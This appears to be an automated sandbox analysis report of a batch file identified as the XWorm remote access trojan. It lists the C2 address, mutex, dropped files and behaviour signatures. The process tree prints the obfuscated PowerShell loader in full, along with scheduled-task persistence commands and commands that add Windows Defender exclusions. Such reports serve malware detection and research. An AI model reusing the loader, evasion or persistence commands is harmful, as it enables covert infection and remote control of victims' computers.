Analysis

  • max time kernel
    147s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/05/2024, 01:24

General

  • Target
    multi_tools_v5.bat
  • Size 162KB
  • Sample240526-bsehdsad64
  • SHA256 600d8b10815dc68ec508f75fa7b72eea73bfa63719530281bb25cee3af5555a1
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • xworm

Version
  • 5.0

C2
  • Thecoolboi991-51392.portmap.io:8080

Mutex
  • p5890lIR4RrQyjsq

Attributes
  • Install_directory

    %AppData%

  • install_file

    XClient.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 16 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\multi_tools_v5.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3412
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xrtaSW8PWCRgWE/6I1tXePRPpbLwTi67rDOEQoi4sBE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('warnjv0N6XUxS+k8aqLTqg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $JfnIl=New-Object System.IO.MemoryStream(,$param_var); $FZuIY=New-Object System.IO.MemoryStream; $CLxLt=New-Object System.IO.Compression.GZipStream($JfnIl, [IO.Compression.CompressionMode]::Decompress); $CLxLt.CopyTo($FZuIY); $CLxLt.Dispose(); $JfnIl.Dispose(); $FZuIY.Dispose(); $FZuIY.ToArray();}function execute_function($param_var,$param2_var){ $hcVhn=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $IzrJD=$hcVhn.EntryPoint; $IzrJD.Invoke($null, $param2_var);}$Azilh = 'C:\Users\Admin\AppData\Local\Temp\multi_tools_v5.bat';$host.UI.RawUI.WindowTitle = $Azilh;$CjAjw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($Azilh).Split([Environment]::NewLine);foreach ($VygXy in $CjAjw) { if ($VygXy.StartsWith('QhYTOjGseIcUAhUdKNLy')) { $EATwC=$VygXy.Substring(20); break; }}$payloads_var=[string[]]$EATwC.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
      2⤵
        PID:344
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
        2⤵
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:228
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_836_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_836.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3588
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_836.vbs"
          3⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:2480
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_836.bat" "
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1844
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xrtaSW8PWCRgWE/6I1tXePRPpbLwTi67rDOEQoi4sBE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('warnjv0N6XUxS+k8aqLTqg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $JfnIl=New-Object System.IO.MemoryStream(,$param_var); $FZuIY=New-Object System.IO.MemoryStream; $CLxLt=New-Object System.IO.Compression.GZipStream($JfnIl, [IO.Compression.CompressionMode]::Decompress); $CLxLt.CopyTo($FZuIY); $CLxLt.Dispose(); $JfnIl.Dispose(); $FZuIY.Dispose(); $FZuIY.ToArray();}function execute_function($param_var,$param2_var){ $hcVhn=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $IzrJD=$hcVhn.EntryPoint; $IzrJD.Invoke($null, $param2_var);}$Azilh = 'C:\Users\Admin\AppData\Roaming\Windows_Log_836.bat';$host.UI.RawUI.WindowTitle = $Azilh;$CjAjw=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($Azilh).Split([Environment]::NewLine);foreach ($VygXy in $CjAjw) { if ($VygXy.StartsWith('QhYTOjGseIcUAhUdKNLy')) { $EATwC=$VygXy.Substring(20); break; }}$payloads_var=[string[]]$EATwC.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
              5⤵
                PID:3476
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
                5⤵
                • Blocklisted process makes network request
                • Drops startup file
                • Adds Run key to start application
                • Suspicious behavior: AddClipboardFormatListener
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of SetWindowsHookEx
                • Suspicious use of WriteProcessMemory
                PID:1800
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
                  6⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4992
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
                  6⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4248
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'
                  6⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1412
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
                  6⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2236
                • C:\Windows\System32\schtasks.exe
                  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\Admin\AppData\Roaming\XClient.exe"
                  6⤵
                  • Creates scheduled task(s)
                  PID:1612
      • C:\Users\Admin\AppData\Roaming\XClient.exe
        C:\Users\Admin\AppData\Roaming\XClient.exe
        1⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:3148

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 3KB
            • SHA256 e053d1faabd6b36371f452e79cf70591cf45403a671746136a87198694a8fdb9
            • MD5 SHA1 SHA512

            ModuleAnalysisCache

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
            • Size 53KB
            • SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
            • MD5 SHA1 SHA512 SSDEEP

            StartupProfileData-Interactive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
            • Size 2KB
            • SHA256 342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 6986cb144219063670c5ab9f3d06f0d88a88c51a1da0d90855eec56f8ab5a846
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 944B
            • SHA256 58238de09a8817ed9f894ed8e5bf06a897fd08e0b0bd77e508d37b2598edd2a9
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 944B
            • SHA256 bceb96f5c3d31447980eb8cd891bba75b3e5b6eb60abf4d829fc13cd8faf2582
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 944B
            • SHA256 cab7944d29e0501dc0db904ac460ca7a87700e0ec7eb62298b7b97cbf40c424c
            • MD5 SHA1 SHA512

            __PSScriptPolicyTest_pvzxe5re.bbf.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pvzxe5re.bbf.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512

            Windows_Log_836.bat

            • Path C:\Users\Admin\AppData\Roaming\Windows_Log_836.bat
            • Size 162KB
            • SHA256 600d8b10815dc68ec508f75fa7b72eea73bfa63719530281bb25cee3af5555a1
            • MD5 SHA1 SHA512 SSDEEP

            Windows_Log_836.vbs

            • Path C:\Users\Admin\AppData\Roaming\Windows_Log_836.vbs
            • Size 115B
            • SHA256 eefce19d725bf07194d15603377766d6f0927d0f304e2d90301d7a54a8dae3d1
            • MD5 SHA1 SHA512

            XClient.exe

            • Path C:\Users\Admin\AppData\Roaming\XClient.exe
            • Size 442KB
            • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
            • MD5 SHA1 SHA512 SSDEEP

            memory/228-51-0x00007FFAF2170000-0x00007FFAF2C31000-memory.dmp

            memory/228-13-0x000001B2250A0000-0x000001B2250E4000-memory.dmp

            memory/228-8-0x000001B224CC0000-0x000001B224CE2000-memory.dmp

            memory/228-11-0x00007FFAF2170000-0x00007FFAF2C31000-memory.dmp

            memory/228-12-0x00007FFAF2170000-0x00007FFAF2C31000-memory.dmp

            memory/228-16-0x000001B225070000-0x000001B225090000-memory.dmp

            memory/228-14-0x000001B225170000-0x000001B2251E6000-memory.dmp

            memory/228-0-0x00007FFAF2173000-0x00007FFAF2175000-memory.dmp

            memory/228-15-0x000001B224E30000-0x000001B224E38000-memory.dmp

            memory/1800-50-0x000001D282690000-0x000001D2826A2000-memory.dmp

            memory/3588-32-0x00007FFAF2170000-0x00007FFAF2C31000-memory.dmp

            memory/3588-27-0x00007FFAF2170000-0x00007FFAF2C31000-memory.dmp

            memory/3588-28-0x00007FFAF2170000-0x00007FFAF2C31000-memory.dmp

            memory/3588-29-0x00007FFAF2170000-0x00007FFAF2C31000-memory.dmp